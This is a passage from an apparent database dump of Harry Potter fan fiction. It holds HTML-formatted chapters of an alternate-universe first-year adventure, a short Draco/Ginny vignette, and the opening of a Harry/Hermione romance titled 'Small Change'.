weeks. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Hey, I resent that!&quot; Ron argued when he reentered the common room. &quot;I came to check up on you two, and I didn\'t eat all of your breakfast. I merely ate three fourths of it.&quot; Ron blushed, and the two doubled up in laughter. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> On their way to the Great Hall, the three walked into Percy, Ron\'s older brother, kissing some other prefect. &quot;Ewww,&quot; they murmured and snickered off away. It was probably due to this distracting sight that made them take the wrong turn. &quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;May I?&quot; Ron said and opened the door in front of them, which they believed was the entrance to the Great Hall. The first thing to greet them was a gigantic three-headed dog. The right head gave a bone chilling bark and the middle give a skin crawling howl. The three frightened students quickly ran in the direction they came from when the mutant dog charged at them. Just as one of its heads was about to pass the door, Harry slammed the door on the dog\'s nose and ran to join his friends to catch their breath. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Lets do that again!&quot; Ron said once he regained his composure. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;No, we could die!&quot; Hermione argued. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Aww, where is you sense of adventure and courage Hermione?&quot; Harry joined in the debate. &quot;The daughter of Ethan isn\'t scared is she?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I-I\'m not afraid, I\'m just- I just don\'t like breaking rules&quot; Hermione said starring at the ground as if something interesting was happening there. &quot;Oh, would you look at the time, its time for potions, now lets hurry along, we don\'t want to miss potions do we?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> *Oh, noooo, it\'s our favorite class in the world; we wouldn\'t miss it for the world. * Harry thought sarcastically and Hermione giggled. &quot;Would you stop reading my mind, it\'s getting rather annoying you know!&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Sorry,&quot; her face went into a slight shade of pink and she pointed her wand on herself, and flicked and swished. &quot;Done, now lets go to class before we get any more detentions.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Potions were more tolerable for Harry and Hermione since they could talk to each other with a weird tension in-between them. Which was a lucky break because Snape has been setting them up as potion partners ever since he learned of their argument. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> For the past week, they have been working on a potion called, &quot;The All Seeing&quot; potion. It allows the drinker to see every angle from him or herself. Auror used it all the time just before they head out on missions in case of sneak attacks or spies. Neville, however managed to make his eyes move to the back of his head, taking away ten points from Gyrffindor, however Malfoy also made this mistake, but earned Slytherin twenty points for doing something clever, this made all of Gryffindor glare at Snape. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Lousy housist git. Dumbledore opt to fire that old goon. He is so unfair.&quot; Ron spat. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Ron, as much as I agree with you for once, housist is not a word, Snape is just doing his job, no matter how badly he is treating us.&quot; Hermione stated in a saddening tone. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;What do you think a three headed dog is doing in Hogwarts indoors?&quot; Harry questioned nobody in particular trying to change the subject. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Well, for something that dangerous, probably to keep it somewhere it most likely wouldn\'t do damage, even though it almost killed us. Or it may have been there to guard something. I guess we could check it out again.&quot; Hermione was eager to prove she had enough courage to be placed in Gyrffindor. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;So lets go back there tonight then?&quot; Harry and Ron asked in a singsong voice. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Fine, 10 o\'clock when everybody is asleep.&quot; Hermione crumpled under the boys\' pressure. Harry and Ron exchanged low-fives when she wasn\'t paying attention. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They waited as one by one, the Gryffindor students, left the dormitories and headed for their respected rooms. As the grandfather clock chimed 10 o\'clock, Dean Thomas got out of the sofa and stretched, &quot;I\'m going to bed, it\'s getting rather late, and you three should too. Good night.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I think I\'ll go get my invisibility cloak, it would help us get past prefects and worse, teachers, when we go through the halls.&quot; When he came down with his invisibility cloak, he found Ron humming &quot;Mary had a Little Lamb&quot; repeatedly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Don\'t ask,&quot; Hermione said and headed for the portrait, &quot;Well, what are you waiting for? Let\'s go!&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron glared at Hermione but went along, still humming. Once they were all under the cloak, they headed for the forbidden corridor. The short trip was rather annoying while Ron was humming, but Harry thought it would be best if he didn\'t ask. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron tried to say, &quot;May I?&quot; but all that came out where hums. He gave Hermione another glare, but opened the door anyway. When they opened the door, Ron was humming extra louder due to his frightened state, but only saw a sleeping three-headed dog. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione tapped Harry on the shoulders, and pointed at a trap door on the floor. &quot;Lumos&quot; Harry whispered, hoping not to wake the dog. The way the trap door lead seemed to have no end. &quot;Well, only one way to find out,&quot; he got his legs ready for a long fall, then Hermione grabbed his arm. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Um, be careful, okay?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry gave her a quick smile and jumped. He landed on something rather soft, but not thick enough to break his fall completely. &quot;It\'s okay! There is cushion to break the fall!&quot; Harry yelled out, during mid sentence, Hermione already made her jump. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Finally, the curse is over.&quot; Ron muttered to himself, not a second later, the three headed dog growled and apparently awakened. Before Ron\'s brain could accumulate, his body\'s instincts kicked in and made a jump. &quot;They really need to let that dog outside,&quot; Ron said as he landed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Come on, the door is right over there, Nox!&quot; Harry\'s wand\'s light stopped. He opened the door and saw many birds flying above the next door. As soon as all three of them stepped into the next room, the door behind them closed and the glittering birds flew at them. From a closer look, they noticed they were keys. With more observation&#8230; &quot;They aren\'t stopping!&quot; Harry yelled, and they took a dive. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They ran quickly for the other door but soon found out it was locked. They quickly split up when they keys caught up to them. Several of the keys continued in momentum, crashed and got stuck into the door. The keys were getting faster by the second. The three ran around in circles like three blind mice. They reached the door again and Hermione finally figured out a spell to stop the keys. &quot;Impedimenta!&quot; she yelled with her wand in the air. They keys all froze in their place, not moving an inch. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;One of these keys must open the door, by the looks of it, I\'d say it is an old one, silver in color, like the lock.&quot; Ron began speculating. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Over there!&quot; Harry pointed at a giant silver key with blue wings not a second later. &quot;But how do we get to it? Ron, I\'ll lift you up.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Boys,&quot; Hermione rolled her eyes, &quot;Accio Key!&quot; She pointed at the blue-winged key and it went straight to her left hand. &quot;When you need something done, you can usually depend on magic,&quot; she said waving her wand. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Easy for you to say, you are the genius,&quot; Harry said and pushed the door as soon as Hermione turned the key. Just as they stepped into the next room, one by one, they keys were freed from the curse and started heading for them. Harry and Ron quickly shut the wooden door behind them. They later head what seemed like ten thousand woodpeckers on a single tree. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They took in a few breaths from the adrenaline that was pumping within them and finally looked around in the room they were in. It was a giant chessboard with pieces aimlessly moving around and showed no sign of noticing them or any expression for that matter. They edged pass them in case touching them would startle another obstacle and entered the next room with ease. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They looked around this room, it was completely empty and so was the next room with the exception of potions. The room after that was different. It had different, giant decorations at different corners. Each corner representing a Hogwarts house; Lion, Eagle, Badger, and Snake. There showed no signs of another door on any of the walls, ceiling, or floor. There was however, a mirror in the middle. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry looked at the mirror. He saw himself, with his parents and ancestors behind him, a big question mark to the left of his reflection, and 2 small question marks in front of his reflection. Hermione looked in the mirror. She saw herself older and with a certain male beside her. Ron looked in the mirror; he saw himself older, alone, and his parents behind him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione looked at the rim on top of the mirror, the words, &quot;Erised stra ehru oyt ube cafru oyt on wohsi&quot; engraved upon it. &quot;I heard of this mirror! It is called the Mirror of Erised, it was made when a young price who wanted to ask for a princess\' hand in marriage. The king, father of the princess, wouldn\'t have any of it, and said she was to marry a wealthier prince. The prince however wouldn\'t give up, and asked a druid to create this mirror to show the king. Since the king was greedy, he accepted this gift and let the prince marry his daughter. However the king later on became mad and looked at the mirror constantly. His greed later on became too unbearable and died of starvation.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry listens thoroughly and began to wonder what it really does and what it was doing there. (A/n: Okay, here is where it gets confusing.) He looked into the mirror again, this time, it showed himself looking at the mirror and the reflection of the mirror within the mirror grinned at the reflection of the regular Harry. The reflection of the mirror within the mirror then put his hand into the back pocket and pulled out a red stone and put it back in. Whilst doing so, Harry noticed the reflection of his real self dropping a lump into his back pocket, and then noticing something actually did drop into his pocket. (Whew, confusing part over.) </p> '),
	(262, 7, '\n\n\n\n<p class="MsoNormal">Okay, it seems I have a lot of explaining. First off, yes,\nthis is an AU (Alternate Universe) fan fiction. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lordanhur: The thing about being too young, it was made for\nthe people to think about it ~_^.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anonymous #1: I would like to make it that Ethan to be like\nmost human beings. Who (in real life) wouldn&#8217;t like popularity once in a while?\nAnd the thing bout Ollivander&#8230; well you see&#8230; *runs off*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anonymous#2: Sorry, just a little typo of mine.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anonymous#3 (or are all of you the same&#8230;): Yes, I just\nlooked through PA, you are right. I guess Mischief Mangled made more sense to\nme cause if their plans were ruined, they needed to hide the map.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">NIGHTSTALKER: That is a great suggestion&#8230; Any takers? I\nwould like to have a good proof reader now and then&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anonymous#4: Wow, thanks a lot, I can&#8217;t believe I spent all\nthis time trying to find out what language that was &gt;.&lt; Changes shall be\nmade once I finish this chapter&#8230; By the way, they got past Fluffy because Ron\nwas cursed to humming, and most of the obstacles were not implemented. The\nchess pieces were moving around because like Hermione, McGonagall likes to do\nthings early, but did not put the finishing touches. Flitwick like McGonagall,\ndid not fully enchant the keys yet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Srox: Will everybody find out that Harry is the true\ndefeater of Voldemort? They will find out eventually, same goes for you readers\n^_^;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Old Wolf: What use does Harry have for that stone? Wait and\nsee hehe&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Philosopher&#8217;s Stone</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry pulled the red stone from his\nback pocket, &#8220;What I bloody hell could this thing be?&#8221; He wondered out-loud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m not sure, should be something\nimportant though,&#8221; Hermione observed looking thoroughly on the rock that was\nheld within Harry&#8217;s grasp. Hermione snatched the stone from Harry to get a\ncloser look at it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;HAND OVER THAT STONE!&#8221; A pale man\nshouted from the entrance. His eyes were bloodshot which seems to be from lack\nof sleep. He was somewhat bald, but the black could-like gas made him seem to\nhave an Afro. As he stepped into the light that shown from the spotlight over\nthe Mirror of Erised, his facial appearance was more clear.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;A-aren&#8217;t you the Defense Against\nthe Dark Arts teacher t-that was turned down at last minute?&#8221; Hermione&#8217;s voice\nquivered in fear as he stepped closer to her. As he stepped right in front of\nher, he stopped and turned to have his back to her. As they looked at the black\nmist that was mistaken for hair, they noticed it hat blood-red eyes that shaped\nlike a snake. &#8220;Voldemort!&#8221; Hermione breathed her last as the gaseous cloud shot\nthrough her like a cannon ball. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione eyes grew wide as she felt\nher soul separate from her body for that split second. Then she fell to the\nfloor, hands hugging onto her body, shaking like mad. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;THE STONE, GET THE STONE\nQUIRRELL!&#8221; Voldemort shouted in a hoarse voice, but before the man named\nQuirrell could react to his master&#8217;s commands; Harry dived to the floor, picked\nup the stone, and rolled away, all on instinct.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Looking for this?&#8221; Harry tossed it\nin the air in a challenging way. &#8220;Come and get it!&#8221; Harry threatened and ran\nbehind one of the 15 pillars that was made for the rooms decoration. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry seemed to have all of\nVoldemort and Quirrell&#8217;s attention. *Wow that boy is brave* Ron thought and\ntook the liberty of their antagonist&#8217;s distraction to get to Hermione. &#8220;Are you\nokay?&#8221; He asked with full concern. Hermione opened one eye slightly, </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Where. Is. Harry&#8230;?&#8221; She had to\npause after every word for her entire body was withering in pain, and her\nthroat was no exception. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry is busy at the moment&#8230;&#8221; Ron\nsad grimily, and lifted Hermione&#8217;s back so she could see the action that was\ntaking place in that very room. That very moment, Harry shot his head out from\nbehind the pillar to wave at Hermione as a taunt to Quirrell. Quirrell shot\nanother curse, but Harry, who had foreseen this long beforehand ducked his head\nin at last second to add more to Quirrell&#8217;s frustration. &#8220;He seems to be doing\npretty well against You-Know-Who,&#8221; Ron laughed, &#8220;but I thought Voldemort died\nto the hands of your father?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I thought so too, maybe he found a\nway to come back to the realm of the living once again.&#8221; Hermione smiled as\nHarry kept dodging spells thrown from Quirrell. *All those years of fights\nagainst Dursleys and Dudley&#8217;s gang really gotten his reaction time and agility\nup.* </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">What Harry did next was both very\ndaring, surprising, and also very stupid. He charged towards Quirrell, which\nwas a huge mistake. Quirrell simply moved to his right and Harry&#8217;s momentum\ncause himself to fall. Like he did with Hermione, Quirrell had his back to\nHarry. &#8220;You have no idea how long I have dreamed of this day Potter. The day I\nwould finally get my vengeance. I waited eleven years Potter! Eleven years with\nthe same thought going through my mind every minute. Every night I dreamt of\nways to torture you Potter&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Boy, does he need a hobby,&#8221; Ron\ninterrupted a little too loudly and drew Voldemort&#8217;s attention slightly.\nHermione gave a weak laugh to Ron&#8217;s joke but coughed afterwards.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I think I&#8217;ll begin by&#8230; oh, lets\nsay&#8230; torturing your friends&#8230;&#8221; Voldemort&#8217;s evil grin that he was expressing\nwould put Hitler&#8217;s most evil schemes to shame. Before Harry could even come up\nwith a plan, he tried to punch Voldemort&#8217;s gassy face. Before his fist could\nmake contact however, Quirrell used his right hand and blocked this fist. A\nsharp pain quickly shot to his forehead, his scar to most accurate. It was\nquickly relieved when Quirrell let go of his fist and looked at his hand.\nBoiling blisters began to appear upon where his hand had made contact with Harry&#8217;s.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;OH HIS PAIN THRILLS ME! TOUCH HIM\nAGAIN QUIRRELL, NOW!&#8221; Voldemort screamed in glee, he was so caught up in\nHarry&#8217;s pain that he didn&#8217;t even take the time to consider why that pain was\ninflicted upon Harry. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But Master, look at my ha&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I SAID NOW!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Quirrell did as he was told and put\nhis left hand upon Harry&#8217;s face before Harry could react. The pain was\nmultiplied from the closeness to his scar. His reaction to it was putting his\nown hand at Quirrell&#8217;s face. Both screamed in agony as Voldemort laughed\nmanically.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Voldemort was enjoying this so much\nhe didn&#8217;t notice the condition his host was in. &#8220;KEEP HOLDING QUIRRELL, I WANT\nTO HEAR HIM SCREAM! SCREAM POTTER, SCREAM!&#8221; He cheered. Voldemort continued his\nlaughter until&#8230; Quirrell fell to the floor unconscious, barely breathing. &#8220;Get\nup Quirrell! Did I say you could rest?&#8221; Voldemort finally noticed the situation\nhe was in and gave a bloodcurdling scream of frustration. Just that very\nmoment, Harry also fell to the ground, like Quirrell, he was barely breathing.\n&#8220;I may not have gained immortality, but I at least got to see Potter die.&#8221; He\ngrunted in a emotionless way and vanished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8212;&#8212;&#8212;Well, that is all for this chapter, I do not have a\nproofreader yet, anyone want to volunteer? Thank you for reading and hopefully\nreviewing *wink wink*. I would like to thank all the people and the\nconstructive critique you have given me. Thanks again, bye ~ - ~</p>\n\n\n\n\n\n\n'),
	(263, 1, '\n\n<p>!It did not happen as the legends say.&nbsp; </p>\n&nbsp; \n<p>He did not suddenly wake up one morning and decide he was in love with her. </p>\n<p>She did not suddenly wake up one morning and decided she didn&#8217;t hate him. </p>\n<p>It was not easy, quick, or painless </p>\n<p>But it wasn&#8217;t a grueling tedious process either</p>\n<p>He did not rescue her from Voldermort&#8217;s fury in the final days. </p>\n<p>Nor did she need his rescuing. </p>\n<p>&nbsp; </p>\n<p>He did not pursue her in some twisted vendetta against Potter or the Weasleys.&nbsp; </p>\n<p>And she did not give in to him in order to spite Harry or to rebel against her family. &nbsp;</p>\n<p></p>\nIt was not forced or hurried in some drunken stupor or violent rage.&nbsp;&nbsp;\n<p>It began with long soft glances across the great hall. &nbsp; </p>\n<p>The first time he talked to her was not in some dark corridor of the dungeon or in an abandoned classroom.&nbsp; </p>\n<p>But at the leaky cauldron over a butter beer just like any teenager would do. &nbsp;</p>\n<p>But they were not ordinary teenagers. </p>\n<p>She was Ginny and he was Draco </p>\n<p>She was a Gryffindor, he, a Slytherin. </p>\n<p>A Weasley and a Malfoy. &nbsp; </p>\n<p>It did, however, go as the legends say when their families found out. &nbsp; </p>\n<p>Lucius, even half- crazy in Akabakan, cut all ties with his son. </p>\n<p>And Ginny&#8217;s parents were worried and perplexed over her choice. &nbsp; </p>\n<p>But Draco won them all over with his smooth voice, gentle hands, and pure love for their daughter. There was one brother, however, who would not yield. &nbsp; </p>\n<p>Contrary to legend, Draco did not propose to her before going off to fight some epic battle against the last of Voldermort&#8217;s followers. </p>\n<p>He proposed, after asking permission from her father, on a lazy summer afternoon at the Burrows.&nbsp; &nbsp; </p>\n<p>Harry did not come to her the night before her wedding to proclaim his undying love. Nor did Ron come to grant her forgiveness for her &quot;retched betrayal.&quot; &nbsp; </p>\n<p>His absence was deeply felt by all at the ceremony. </p>\n<p>But Ginny refused to give up on him. &nbsp; It was their first child that finally brought Ron around.&nbsp; </p>\n<p>It was a beautiful baby girl, a child that almost took the life from of her mother when she was delivered. &nbsp; </p>\n<p>Draco was standing in the hospital nursery staring at his child and praying that he would not have to raise her alone when he felt a hand on his shoulder. &nbsp; </p>\n<p>&quot;She&#8217;ll be okay, right?&quot;&nbsp; It was Ron, his face red as his hair from worry.&nbsp; </p>\n<p>Draco could only shrug. &quot;This never happens in the legends.&quot; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </p>\n\n'),
	(264, 1, '\n\n\n\n<p class="MsoTitle">Small Change</p>\n\n<p class="MsoBodyTextFirstIndent" style="text-align:left;text-indent:\n0in;line-height:14.0pt;" align="left"><b>Title:</b> <b>Small\nChange</b><br>\n<b>Author name:</b> romulus lupin<br>\n<b>Author email:</b> galigad@yahoo.com<br>\n<b>Category:</b> Romance<br>\n<b>Keywords:</b> Harry Hermione<br>\n<b>Rating:</b> G<br>\n<b>Spoilers:</b>&nbsp; PoA, GoF<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended.</p>\n\n<p class="MsoBodyTextFirstIndent" style="text-align:left;text-indent:\n0in;line-height:14.0pt;" align="left"><b>Author&#8217;s Notes:</b>\nThis came out of a discussion on the HMS Pumpkin Pie at Fiction Alley some time\nback: &#8220;How will Harry and Hermione make up after a fight?&#8221;&nbsp; The idea spurred a plot bunny which became\nthis story &#8211; and at the same time, is a &#8220;tribute fic&#8221; to the many, many fanfic\nwriters who sail the HMS Pumpkin Pie.<br><br></p>\n\n<p class="MsoBodyTextFirstIndent" style="text-align:left;text-indent:\n0in;line-height:14.0pt;" align="left">&nbsp;</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center"><b><u>Small Change</u></b></p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center"><b><u>&nbsp;</u></b></p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;"><i>&#8220;Women!&#8221;</i> the man sitting at the bar snarled, &#8220;<i>You can&#8217;t live\nwith them &#8230;&#8221;</i></p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;&#8230; And you can&#8217;t live without &#8216;em,&#8221; Tom, the wizened bartender and\nowner of the Leaky Cauldron, completed the statement. His customer glared at\nhim, emerald-green eyes blazing from behind round glasses, pushing back the\nsweaty, unruly black hair that had fallen over them &#8211; for a moment showing the\nlightning-shaped scar that at least three- quarters of humanity would have\neasily recognized.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Tom looked back calmly. &#8216;<i>Been there, done that</i>&#8217;, he thought\nwryly.&nbsp; Sooner or later it happened even\nto the best of them &#8211; and when it did, they almost always found their way to\nthe Leaky Cauldron, or the Three Broomsticks, or the thousands of other bars\nand watering holes that populated every city, town or municipality around the\nworld.&nbsp; Wizard or muggle, they&#8217;d walk in\nas if pole-axed, wondering how the wonderful woman they had married or were\nliving with could turn so suddenly into a raging virago or screaming banshee &#8211;\nand seeking the solace of a bottle or other scarred veterans of domestic\nbattles, venting their ire and frustration to the friendly (but deaf) ears of a\nmillion bartenders or their own circle of scarred friends &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Except that he couldn&#8217;t believe that <i>that</i> would be happening to\nthe person in front of him. If there was any one couple that he would have bet\nthe Leaky Cauldron on to have beat the odds, it was <i>those</i> two &#8230; he&#8217;d\nfirst noticed it seven years ago, when Hermione Granger stumbled coming out of\nthe fireplace, falling into a surprised Harry Potter &#8211; and the two practically\nsnogging on the floor of the Leaky Cauldron!</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Accidentally, of course. But he could never forget the look on the\nfaces of those two &#8211; as if they had both discovered a basic <i>truth</i> about\nthe universe &#8230; and that, from then on, because of that knowledge, <i>nothing </i>&nbsp;would ever be the same again.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">He sighed, and shrugged. Philosophically, he repeated the line to\nhimself, &#8220;It happens to the best of &#8216;em!&#8221; and mentally braced himself for the\nemotional onslaught he knew was coming.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;So what was it this time, Mr. Potter?&#8221; he asked, cautiously, in his\nbest lending-an-ear-and-sympathy manner to his current customer. &#8220;Money\ntroubles &#8230; where to go on vacation &#8230; who gets to wear the pants in the house?\nOr did you forget something that was important to her?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">The green eyes blazed, and Tom involuntarily took a step backward. For\nthe briefest of moments, Tom wondered whether those fiery green eyes were the\nlast conscious memory of He-Who-Must-Not-Be-Named before his final defeat at\nthe hands and wands of Harry Potter and Hermione Granger.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">But then, the eyes dulled, as if a curtain had fallen over them &#8211; and\nTom breathed a sigh of relief. Harry Potter whispered to himself, &#8220;Something\nlike that &#8230;&#8221; and then slapped the shot glass he was holding down on the bar,\nwith a loud &#8220;Hit me again, Tom!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Tom was about to protest, but decided that discretion was the better\npart of valor, and poured another measure of fire whisky into the glass.&nbsp; Harry held the glass up to him in a silent\nsalute, and chugged it down his throat &#8211; and started coughing madly as the\nalcohol bit his throat and burned its way to his stomach.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">He looked at the old bartender, tears in his eyes (whether from the\nalcohol or the emotional turmoil within him, Tom couldn&#8217;t tell) and said, in a\nchoked voice, &#8220;I&#8217;m <b>not</b> going back there, Tom &#8230; not until she <i>crawls</i>\nto me on her hands and knees &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;She will, &#8216;arry,&#8221; a familiar voice boomed, followed by a hard slap on\nthe back which almost sent him face first into the bar. Tom and Harry looked up\ninto the smiling face of Hagrid, who continued, &#8220;she&#8217;ll come crawling after you\non her hands and knees, screaming, &#8216;Come out from under the bed and fight like\na man!&#8217;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hagrid&#8217;s booming laughter was matched by the raucous mirth of two\nred-headed brothers who, nevertheless, showed a sympathy and understanding that\nmade Harry believe <i>they</i> had been forced to sleep outside the conjugal\nbedroom before.</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">&#8220;Give &#8216;arry another one of what he&#8217;s havin&#8217;, Tom &#8211; and give the Twins\nand meself the usual,&#8221; Hagrid boomed out. &#8220;We&#8217;ll take &#8216;im off your hands now &#8230;\ngive &#8216;im some free advice from those who&#8217;ve been there afore!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Harry Potter shook his head and stood up.&nbsp; Morosely, he followed the three to a corner table, prepared to drown\nhimself in the company of people that he had never believed <i>he</i> would be\njoining &#8211; men who had been thrown out of the house, or had walked out to cool\noff, after a blazing argument with their significant others.</p>\n\n<p class="MsoBodyText" style="text-align:center;line-height:14.0pt;" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">Hermione Granger was sitting in the shambles of their living room,\neyes red and blotchy, cheeks glistening with the sheen of dried tears. Her mind\nwas in turmoil, berating herself yet again for losing her temper &#8230; for losing <i>control</i>\n&#8230; and over <i>what</i>?</p>\n\n<p class="MsoBodyTextFirstIndent" style="line-height:14.0pt;">A completely 